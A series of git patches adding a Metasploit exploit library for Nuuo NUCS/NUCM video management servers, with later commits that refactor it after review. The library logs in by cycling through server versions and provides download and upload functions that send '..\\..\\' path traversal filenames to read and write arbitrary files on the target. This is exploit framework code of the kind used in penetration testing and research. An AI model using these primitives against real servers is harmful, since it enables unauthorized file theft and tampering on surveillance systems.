From 72a55fe0fc1d095d2abc932596b2ebdaa8826648 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 21 Jan 2019 16:39:16 +0700 Subject: [PATCH 01/11] Add nuuo NUCS core lib --- lib/msf/core/exploit/remote/nuuo.rb | 225 ++++++++++++++++++++++++++++ 1 file changed, 225 insertions(+) create mode 100644 lib/msf/core/exploit/remote/nuuo.rb diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb new file mode 100644 index 000000000000..a8dd00d17f41 --- /dev/null +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -0,0 +1,225 @@ +require 'msf/core/exploit/tcp' + +### +# +# This module exposes methods that may be useful to exploits that deal with +# servers that speak the Nuuo protocols for their devices and management software. +# +### +module Msf +module Exploit::Remote::Nuuo + include Exploit::Remote::Tcp + + # + # Creates an instance of an Nuuo exploit module. + # + def initialize(info = {}) + super(update_info(info, + 'Author' => + [ + 'Pedro Ribeiro ' + ], + )) + + # Register the options that all FTP exploits may make use of. + register_options( + [ + Opt::RHOST, + Opt::RPORT(5180), + OptString.new('SESSION', [false, 'Session number of logged in user']), + OptString.new('USERNAME', [true, 'Username to login as', 'admin']), + OptString.new('PASSWORD', [false, 'Password for the specified user']), + ], Msf::Exploit::Remote::Nuuo) + + register_advanced_options( + [ + OptInt.new('FTPTimeout', [ true, 'The number of seconds to wait for a reply from an FTP command', 16]), + OptBool.new('FTPDEBUG', [ false, 'Whether or not to print verbose debug statements', false ]), + OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']), + ], Msf::Exploit::Remote::Ftp) + + register_autofilter_ports([ 21, 2121]) + register_autofilter_services(%W{ ftp }) + + @ftpbuff = "" + @session = nil + + # All CMS versions at time of release + # Note that these primitives are not guaranteed to work in all versions + # Add new version strings here + @versions = + [ + "1.3.1", + "1.3.3", + "1.5.0", + "1.5.2", + "1.6.0", + "1.7.0", + "2.1.0", + "2.3.0", + "2.3.1", + "2.3.2", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0", + "2.10.0", + "2.11.0", + "3.0.0", + "3.1.0", + "3.2.0", + "3.3.0", + "3.4.0", + "3.5.0" + ] + + @version = nil + end + + + ## + # Formats the message we want to send into the correct protocol format + ## + def format_msg(msg) + final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" + for line in msg[1..msg.length-1] + final_msg = final_msg + line + "\r\n" + end + if not final_msg =~ /USERLOGIN/ + final_msg = final_msg + "User-Session-No: " + @session.to_s + "\r\n" + end + return final_msg + "\r\n" + end + + ## + # Sends a protocol message aynchronously - fire and forget + ## + def send_msg_async(msg) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) + sock.write(format_msg(msg)) + # socket cannot be closed, it causes exploits to fail... + #sock.close + rescue + return + end + end + + ## + # Sends a protocol message synchronously - sends and returns the result + ## + def send_msg(msg) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) + sock.write(format_msg(msg)) + data = sock.recv(4096) + if data =~ /Content-Length:([0-9]+)/ + more_data = sock.read($1.to_i) + end + # socket cannot be closed, it causes exploits to fail... + #sock.close + return [data, more_data] + rescue + return ["",""] + end + end + + ## + # Sends a protocol data message synchronously - sends and returns the result + # A data message is composed of two parts: first the message length and protocol headers, + # then the actual data. + ## + def send_data_msg(msg, data) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) + sock.write(format_msg(msg)) + sock.write(data) + data = sock.recv(4096) + if data =~ /Content-Length:([0-9]+)/ + more_data = sock.recv($1.to_i) + end + # socket cannot be closed, it causes exploits to fail... + #sock.close + return [data, more_data] + rescue + return ["",""] + end + end + + ## + # Downloads a file from the CMS install root. + # Add the ZIP extraction and decryption routine once support for it is added to msf. + ## + def download_file(filename, decrypt = false) + data = send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"]) + data[1] + end + + + ## + # Uploads a file to the CMS install root. + ## + def upload_file(filename, file_data) + data = send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) + if data[0] =~ /200/ + true + else + false + end + end + + def login + if datastore['SESSION'] != nil + # since we're logged in, we don't need to guess the version any more + @session = datastore['SESSION'] + elsif datastore['PASSWORD'] != nil + @versions.shuffle.each do |version| + @version = version + data = login_password + if data == nil + next + else + @session = data + end + end + else + @versions.shuffle.each do |version| + @version = version + data = login_nopass + if data == nil + next + else + @session = data + end + end + end + end + + def login_nopass + data = send_msg(["USERLOGIN", "Version: #{@version}", "Username: #{datastore['USERNAME']}", \ + "Password-Length: 0", "TimeZone-Length: 0"]) + if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ + return $1 + else + return nil + end + end + + def login_password + data = send_data_msg(["USERLOGIN", "Version: #{@version}", "Username: #{datastore['USERNAME']}", \ + "Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD']) + if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ + return $1 + else + return nil + end + end + +end + +end From 459598b91bada4ee9fd7851c1ecad2540f44d84a Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 21 Jan 2019 16:40:37 +0700 Subject: [PATCH 02/11] Update mixins to include new nuuo file --- lib/msf/core/exploit/mixins.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 72fca3bee197..f0a62cbe8629 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -125,3 +125,4 @@ # Other require 'msf/core/exploit/windows_constants' +require 'msf/core/exploit/remote/nuuo' From 94f5b4081f3563a081692ee98ab41196db46bc38 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 11:17:47 +0700 Subject: [PATCH 03/11] Fix file download / upload bug --- lib/msf/core/exploit/remote/nuuo.rb | 25 ++++++++++++++++--------- 1 file changed, 16 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index a8dd00d17f41..ee1df42a10ba 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -21,7 +21,6 @@ def initialize(info = {}) ], )) - # Register the options that all FTP exploits may make use of. register_options( [ Opt::RHOST, @@ -33,15 +32,9 @@ def initialize(info = {}) register_advanced_options( [ - OptInt.new('FTPTimeout', [ true, 'The number of seconds to wait for a reply from an FTP command', 16]), - OptBool.new('FTPDEBUG', [ false, 'Whether or not to print verbose debug statements', false ]), OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']), ], Msf::Exploit::Remote::Ftp) - register_autofilter_ports([ 21, 2121]) - register_autofilter_services(%W{ ftp }) - - @ftpbuff = "" @session = nil # All CMS versions at time of release @@ -118,7 +111,14 @@ def send_msg(msg) sock.write(format_msg(msg)) data = sock.recv(4096) if data =~ /Content-Length:([0-9]+)/ - more_data = sock.read($1.to_i) + data_sz = $1.to_i + more_data = '' + recv = 0 + while recv < data_sz + new_data = sock.recv(4096) + more_data << new_data + recv += new_data.length + end end # socket cannot be closed, it causes exploits to fail... #sock.close @@ -141,7 +141,14 @@ def send_data_msg(msg, data) sock.write(data) data = sock.recv(4096) if data =~ /Content-Length:([0-9]+)/ - more_data = sock.recv($1.to_i) + data_sz = $1.to_i + more_data = '' + recv = 0 + while recv < data_sz + new_data = sock.recv(4096) + more_data << new_data + recv += new_data.length + end end # socket cannot be closed, it causes exploits to fail... #sock.close From 0562aa50b40330c1ee21a8a3f3e8b8e52b2bac00 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 12:45:18 +0700 Subject: [PATCH 04/11] Update nuuo.rb --- lib/msf/core/exploit/remote/nuuo.rb | 47 +++++++++++++++-------------- 1 file changed, 25 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index ee1df42a10ba..9c75ffd8e09d 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -33,14 +33,14 @@ def initialize(info = {}) register_advanced_options( [ OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']), - ], Msf::Exploit::Remote::Ftp) + ]) - @session = nil + @nucs_session = nil # All CMS versions at time of release # Note that these primitives are not guaranteed to work in all versions # Add new version strings here - @versions = + @nucs_versions = [ "1.3.1", "1.3.3", @@ -68,20 +68,21 @@ def initialize(info = {}) "3.5.0" ] - @version = nil + @nucs_version = nil end ## # Formats the message we want to send into the correct protocol format ## + private def format_msg(msg) final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" for line in msg[1..msg.length-1] final_msg = final_msg + line + "\r\n" end if not final_msg =~ /USERLOGIN/ - final_msg = final_msg + "User-Session-No: " + @session.to_s + "\r\n" + final_msg = final_msg + "User-Session-No: " + @nucs_session.to_s + "\r\n" end return final_msg + "\r\n" end @@ -89,7 +90,7 @@ def format_msg(msg) ## # Sends a protocol message aynchronously - fire and forget ## - def send_msg_async(msg) + def nucs_send_msg_async(msg) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) @@ -104,7 +105,7 @@ def send_msg_async(msg) ## # Sends a protocol message synchronously - sends and returns the result ## - def send_msg(msg) + def nucs_send_msg(msg) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) @@ -133,7 +134,7 @@ def send_msg(msg) # A data message is composed of two parts: first the message length and protocol headers, # then the actual data. ## - def send_data_msg(msg, data) + def nucs_send_data_msg(msg, data) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) @@ -162,8 +163,8 @@ def send_data_msg(msg, data) # Downloads a file from the CMS install root. # Add the ZIP extraction and decryption routine once support for it is added to msf. ## - def download_file(filename, decrypt = false) - data = send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"]) + def nucs_download_file(filename, decrypt = false) + data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"]) data[1] end @@ -171,8 +172,8 @@ def download_file(filename, decrypt = false) ## # Uploads a file to the CMS install root. ## - def upload_file(filename, file_data) - data = send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) + def nucs_upload_file(filename, file_data) + data = nucs_send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) if data[0] =~ /200/ true else @@ -180,35 +181,36 @@ def upload_file(filename, file_data) end end - def login + def nucs_login if datastore['SESSION'] != nil # since we're logged in, we don't need to guess the version any more - @session = datastore['SESSION'] + @nucs_session = datastore['SESSION'] elsif datastore['PASSWORD'] != nil - @versions.shuffle.each do |version| - @version = version + @nucs_versions.shuffle.each do |version| + @nucs_version = version data = login_password if data == nil next else - @session = data + @nucs_session = data end end else - @versions.shuffle.each do |version| - @version = version + @nucs_versions.shuffle.each do |version| + @nucs_version = version data = login_nopass if data == nil next else - @session = data + @nucs_session = data end end end end + private def login_nopass - data = send_msg(["USERLOGIN", "Version: #{@version}", "Username: #{datastore['USERNAME']}", \ + data = nucs_send_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ "Password-Length: 0", "TimeZone-Length: 0"]) if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ return $1 @@ -217,8 +219,9 @@ def login_nopass end end + private def login_password - data = send_data_msg(["USERLOGIN", "Version: #{@version}", "Username: #{datastore['USERNAME']}", \ + data = nucs_send_data_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ "Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD']) if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ return $1 From 9375ee2ffc0bdc65e90ee8e9636caf2404473d97 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 23 Jan 2019 11:00:42 +0700 Subject: [PATCH 05/11] Change only the last methods to private --- lib/msf/core/exploit/remote/nuuo.rb | 36 ++++++++++++++--------------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index 9c75ffd8e09d..e20ee9b75ea4 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -3,7 +3,7 @@ ### # # This module exposes methods that may be useful to exploits that deal with -# servers that speak the Nuuo protocols for their devices and management software. +# servers that speak Nuuo NUCM protocol for their devices and management software. # ### module Msf @@ -37,7 +37,7 @@ def initialize(info = {}) @nucs_session = nil - # All CMS versions at time of release + # All NUCS versions at time of release # Note that these primitives are not guaranteed to work in all versions # Add new version strings here @nucs_versions = @@ -72,21 +72,6 @@ def initialize(info = {}) end - ## - # Formats the message we want to send into the correct protocol format - ## - private - def format_msg(msg) - final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" - for line in msg[1..msg.length-1] - final_msg = final_msg + line + "\r\n" - end - if not final_msg =~ /USERLOGIN/ - final_msg = final_msg + "User-Session-No: " + @nucs_session.to_s + "\r\n" - end - return final_msg + "\r\n" - end - ## # Sends a protocol message aynchronously - fire and forget ## @@ -193,6 +178,7 @@ def nucs_login next else @nucs_session = data + break end end else @@ -203,6 +189,7 @@ def nucs_login next else @nucs_session = data + break end end end @@ -219,7 +206,6 @@ def login_nopass end end - private def login_password data = nucs_send_data_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ "Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD']) @@ -230,6 +216,20 @@ def login_password end end + ## + # Formats the message we want to send into the correct protocol format + ## + def format_msg(msg) + final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" + for line in msg[1..msg.length-1] + final_msg = final_msg + line + "\r\n" + end + if not final_msg =~ /USERLOGIN/ + final_msg = final_msg + "User-Session-No: " + @nucs_session.to_s + "\r\n" + end + return final_msg + "\r\n" + end + end end From 3b98add519e28e30955d708453aac16d6ec7fe06 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 23 Jan 2019 11:16:41 +0700 Subject: [PATCH 06/11] Update nuuo.rb --- lib/msf/core/exploit/remote/nuuo.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index e20ee9b75ea4..7945bac079d1 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -40,6 +40,8 @@ def initialize(info = {}) # All NUCS versions at time of release # Note that these primitives are not guaranteed to work in all versions # Add new version strings here + # We need these to login; + # when requesting a USERLOGIN we need to send the same version as the server... @nucs_versions = [ "1.3.1", From d8f9e4168613b6853a7ff43c7b4e91fc05b813a5 Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 23 Jan 2019 14:13:31 +0700 Subject: [PATCH 07/11] Update lib/msf/core/exploit/remote/nuuo.rb Co-Authored-By: pedrib --- lib/msf/core/exploit/remote/nuuo.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index 7945bac079d1..c7f589f1f72c 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -224,7 +224,7 @@ def login_password def format_msg(msg) final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" for line in msg[1..msg.length-1] - final_msg = final_msg + line + "\r\n" + final_msg += "#{line}\r\n" end if not final_msg =~ /USERLOGIN/ final_msg = final_msg + "User-Session-No: " + @nucs_session.to_s + "\r\n" From 08aa1c3ed069f4c080c708665adbb32fe3116e9e Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 23 Jan 2019 15:32:15 +0700 Subject: [PATCH 08/11] Update lib/msf/core/exploit/remote/nuuo.rb Co-Authored-By: pedrib --- lib/msf/core/exploit/remote/nuuo.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index c7f589f1f72c..d37d7b463b8f 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -227,7 +227,7 @@ def format_msg(msg) final_msg += "#{line}\r\n" end if not final_msg =~ /USERLOGIN/ - final_msg = final_msg + "User-Session-No: " + @nucs_session.to_s + "\r\n" + final_msg += "User-Session-No: #{@nucs_session}\r\n" end return final_msg + "\r\n" end From b5dbacc42f632d4394e1d92b67d7b2f5e314fa91 Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 23 Jan 2019 16:09:43 +0700 Subject: [PATCH 09/11] Update lib/msf/core/exploit/remote/nuuo.rb Co-Authored-By: pedrib --- lib/msf/core/exploit/remote/nuuo.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index d37d7b463b8f..220e121d26c9 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -223,7 +223,7 @@ def login_password ## def format_msg(msg) final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" - for line in msg[1..msg.length-1] + for line in msg[1...msg.length] final_msg += "#{line}\r\n" end if not final_msg =~ /USERLOGIN/ From c09515da8243331d97e672b0c8859b792dca4ed4 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 24 Jan 2019 07:52:56 +0700 Subject: [PATCH 10/11] Update nuuo.rb --- lib/msf/core/exploit/remote/nuuo.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index 220e121d26c9..3100df0ca99d 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -98,9 +98,9 @@ def nucs_send_msg(msg) sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) sock.write(format_msg(msg)) data = sock.recv(4096) + more_data = '' if data =~ /Content-Length:([0-9]+)/ data_sz = $1.to_i - more_data = '' recv = 0 while recv < data_sz new_data = sock.recv(4096) @@ -128,9 +128,9 @@ def nucs_send_data_msg(msg, data) sock.write(format_msg(msg)) sock.write(data) data = sock.recv(4096) + more_data = '' if data =~ /Content-Length:([0-9]+)/ data_sz = $1.to_i - more_data = '' recv = 0 while recv < data_sz new_data = sock.recv(4096) From 733f784472b5fdac1ebdc901741adb8c301f78ae Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 30 Jan 2019 21:21:53 +0700 Subject: [PATCH 11/11] add bcoles suggestions --- lib/msf/core/exploit/remote/nuuo.rb | 143 ++++++++++------------------ 1 file changed, 51 insertions(+), 92 deletions(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index 3100df0ca99d..6b88ffd5b1a3 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -26,8 +26,8 @@ def initialize(info = {}) Opt::RHOST, Opt::RPORT(5180), OptString.new('SESSION', [false, 'Session number of logged in user']), - OptString.new('USERNAME', [true, 'Username to login as', 'admin']), - OptString.new('PASSWORD', [false, 'Password for the specified user']), + OptString.new('USERNAME', [false, 'Username to login as', 'admin']), + OptString.new('PASSWORD', [false, 'Password for the specified user', '']), ], Msf::Exploit::Remote::Nuuo) register_advanced_options( @@ -89,63 +89,38 @@ def nucs_send_msg_async(msg) end end - ## - # Sends a protocol message synchronously - sends and returns the result - ## - def nucs_send_msg(msg) - begin - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) - sock.write(format_msg(msg)) - data = sock.recv(4096) - more_data = '' - if data =~ /Content-Length:([0-9]+)/ - data_sz = $1.to_i - recv = 0 - while recv < data_sz - new_data = sock.recv(4096) - more_data << new_data - recv += new_data.length - end - end - # socket cannot be closed, it causes exploits to fail... - #sock.close - return [data, more_data] - rescue - return ["",""] - end - end - ## # Sends a protocol data message synchronously - sends and returns the result # A data message is composed of two parts: first the message length and protocol headers, - # then the actual data. + # then the actual data, while a non-data message only contains the first part. ## - def nucs_send_data_msg(msg, data) - begin - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) - sock.write(format_msg(msg)) - sock.write(data) - data = sock.recv(4096) - more_data = '' - if data =~ /Content-Length:([0-9]+)/ - data_sz = $1.to_i - recv = 0 - while recv < data_sz - new_data = sock.recv(4096) - more_data << new_data - recv += new_data.length - end + def nucs_send_msg(msg, data = nil) + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) + sock.write(format_msg(msg)) + if data != nil + sock.write(data.to_s) + end + res = sock.recv(4096) + more_data = '' + if res =~ /Content-Length:([0-9]+)/ + data_sz = $1.to_i + recv = 0 + while recv < data_sz + new_data = sock.recv(4096) + break if !new_data || new_data.length == 0 + more_data << new_data + recv += new_data.length end - # socket cannot be closed, it causes exploits to fail... - #sock.close - return [data, more_data] - rescue - return ["",""] end + # socket cannot be closed, it causes exploits to fail... + #sock.close + return [res, more_data] + rescue + return ['', ''] end + ## # Downloads a file from the CMS install root. # Add the ZIP extraction and decryption routine once support for it is added to msf. @@ -160,7 +135,7 @@ def nucs_download_file(filename, decrypt = false) # Uploads a file to the CMS install root. ## def nucs_upload_file(filename, file_data) - data = nucs_send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) + data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) if data[0] =~ /200/ true else @@ -168,56 +143,40 @@ def nucs_upload_file(filename, file_data) end end + # logs in to the NUCS server + # first, it tries to use the datastore SESSION if such exists + # if not, it then tries to login using the datastore USERNAME and PASSWORD + # In order to login properly, we need to guess the server version... + # ... so just try all of them until we hit the right one def nucs_login if datastore['SESSION'] != nil # since we're logged in, we don't need to guess the version any more @nucs_session = datastore['SESSION'] - elsif datastore['PASSWORD'] != nil - @nucs_versions.shuffle.each do |version| - @nucs_version = version - data = login_password - if data == nil - next - else - @nucs_session = data - break - end - end - else - @nucs_versions.shuffle.each do |version| - @nucs_version = version - data = login_nopass - if data == nil - next - else - @nucs_session = data - break - end - end + return end - end - private - def login_nopass - data = nucs_send_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ - "Password-Length: 0", "TimeZone-Length: 0"]) - if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ - return $1 - else - return nil - end - end + @nucs_versions.shuffle.each do |version| + @nucs_version = version - def login_password - data = nucs_send_data_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ - "Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD']) - if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ - return $1 - else - return nil + res = nucs_send_msg( + [ + "USERLOGIN", + "Version: #{@nucs_version}", + "Username: #{datastore['USERNAME']}", + "Password-Length: #{datastore['PASSWORD'].length}", + "TimeZone-Length: 0" + ], + datastore['PASSWORD'] + ) + + if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ + @nucs_session = $1 + break + end end end + private ## # Formats the message we want to send into the correct protocol format ##